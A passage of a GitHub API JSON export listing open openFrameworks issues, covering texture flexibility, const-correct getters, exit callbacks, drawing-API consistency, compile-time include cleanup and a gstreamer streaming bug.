","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":4,"created_at":"2011-01-10T02:37:49Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/292","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/292/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/292/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/292/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/292","id":516071,"number":292,"title":"ofTexture should be more flexible","user":{"login":"I33N","id":520375,"avatar_url":"https://secure.gravatar.com/avatar/ba8d7c3b4532d3747c30b9be91dc20d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ba8d7c3b4532d3747c30b9be91dc20d5","url":"https://api.github.com/users/I33N","html_url":"https://github.com/I33N","followers_url":"https://api.github.com/users/I33N/followers","following_url":"https://api.github.com/users/I33N/following","gists_url":"https://api.github.com/users/I33N/gists{/gist_id}","starred_url":"https://api.github.com/users/I33N/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/I33N/subscriptions","organizations_url":"https://api.github.com/users/I33N/orgs","repos_url":"https://api.github.com/users/I33N/repos","events_url":"https://api.github.com/users/I33N/events{/privacy}","received_events_url":"https://api.github.com/users/I33N/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-09T20:46:43Z","updated_at":"2011-01-09T20:46:43Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I think the pixeltype, the gltypeinternal and the gltype should be accessible to the user as well as the loadData(void * data, int w, int h, int glDataType) which is actually protected.\r\n\r\nActual implementation is only limited to a few choice of internalFormat which lead to choice of pixeltype and gltype. It thus doesn't allow from user specific type."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/288","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/288/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/288/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/288/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/288","id":513779,"number":288,"title":"const correctness - add const to getWidth/getHeight","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":6,"created_at":"2011-01-08T02:14:03Z","updated_at":"2011-12-03T10:49:15Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofImage::getWidth()/getHeight() are just getters that do absolutely nothing but return a copy of the width and height. these methods should be marked const.\r\n\r\n[added]: there are hacks inside ofxCv that i've had to make because getWidth/getHeight are not const correct. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/275","id":445829,"number":275,"title":"atexit(ofExitCallback);","user":{"login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","html_url":"https://github.com/vanderlin","followers_url":"https://api.github.com/users/vanderlin/followers","following_url":"https://api.github.com/users/vanderlin/following","gists_url":"https://api.github.com/users/vanderlin/gists{/gist_id}","starred_url":"https://api.github.com/users/vanderlin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vanderlin/subscriptions","organizations_url":"https://api.github.com/users/vanderlin/orgs","repos_url":"https://api.github.com/users/vanderlin/repos","events_url":"https://api.github.com/users/vanderlin/events{/privacy}","received_events_url":"https://api.github.com/users/vanderlin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2010-11-30T05:13:10Z","updated_at":"2010-11-30T05:13:10Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This is giving me some crashes. There needs to be a way to disable this when making custom windows. I have tried to do atexit(NULL); but the callback in ofRunApp(ofBaseApp * OFSA) is still being called. \r\n\r\nmaybe something like:\r\n\r\nvoid ofRunApp(ofBaseApp * OFSA, bool useExitCallback);\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/271","id":433297,"number":271,"title":"ofDrawBitmapString draws from bottom left","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":7,"created_at":"2010-11-22T21:30:40Z","updated_at":"2011-03-17T02:02:25Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"bottom left corner is inconsistent with every other drawing command in OF, should be top left instead."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/264","id":425675,"number":264,"title":"ofClear uses inconsistent arguments","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2010-11-18T06:15:47Z","updated_at":"2011-09-19T22:47:21Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofClear(r,g,b) is inconsistent with ofBackground(r,g,b) because the alpha is 0 by default -- meaning you always have to explicitly declare the alpha to clear the background.\r\n\r\nfurthermore, because all the arguments have default values there is not/cannot exist an ofClear(gray, alpha) to match ofSetColor style"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/255","id":413771,"number":255,"title":"COMPILE SPEED UP - cleanup internal includes to avoid ofMain.h and ofConstants.h","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":4,"created_at":"2010-11-11T21:14:05Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"A lot of OF files are including ofMain / ofConstants.h - this makes compiles super slow. Try to have files only include what they need. Or find a way to break things up into the most often used ( windows.h etc ) and less used. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/249","id":399214,"number":249,"title":"normalize option nomenclature (hide/enable/set/etc.)","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2010-11-03T22:52:08Z","updated_at":"2011-12-02T20:11:33Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofHideCursor()/ofShowCursor()\r\n\r\nofEnableArbTex()\r\nofEnableSetupScreen()\r\nofEnableDataPath()\r\nofEnableAlphaBlending()\r\nofEnableSmoothing()\r\n\r\nofSetFullscreen() + ofToggleFullscreen()\r\nofSetVerticalSync()\r\n\r\netc."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/245","id":360885,"number":245,"title":"gstreamer problems with streaming of microsoft video","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":2,"created_at":"2010-10-13T16:33:06Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"some video to test:\r\n\r\nmmsh://live.camstreams.com/cscamglobal16?MSWMExt=.asf\r\n\r\nit works ok with totem so it should be a problem in ofGstUtils"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/228","id":309191,"number":228,"title":"remove bAllocated in ofTexture?","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2010-09-09T14:20:55Z","updated_at":"2011-04-19T00:32:33Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"related to #221: texData.bAllocated is only used in the isAllocated method which can be changed from:\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.bAllocated;\r\n }\r\n\r\nto\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.textureID!=0;\r\n }\r\n\r\navoiding problems like #221 since we don't have two flags for the same thing"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/225","id":295913,"number":225,"title":"ofxVectorMath constants","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2010-08-31T10:54:19Z","updated_at":"2010-08-31T10:54:19Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It would be nice to have:\r\n\r\n\tconst ofxVec2f xunit2f(1, 0), yunit2f(0, 1);\r\n\tconst ofxVec3f xunit3f(1, 0, 0), yunit3f(0, 1, 0), zunit3f(0, 0, 1);\r\n\r\nOr something similar that allows for more elegant notation when you're multiplying or adding by an axis."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/224","id":290973,"number":224,"title":"gaussian noise","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"}],"state":"open","assignee":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"h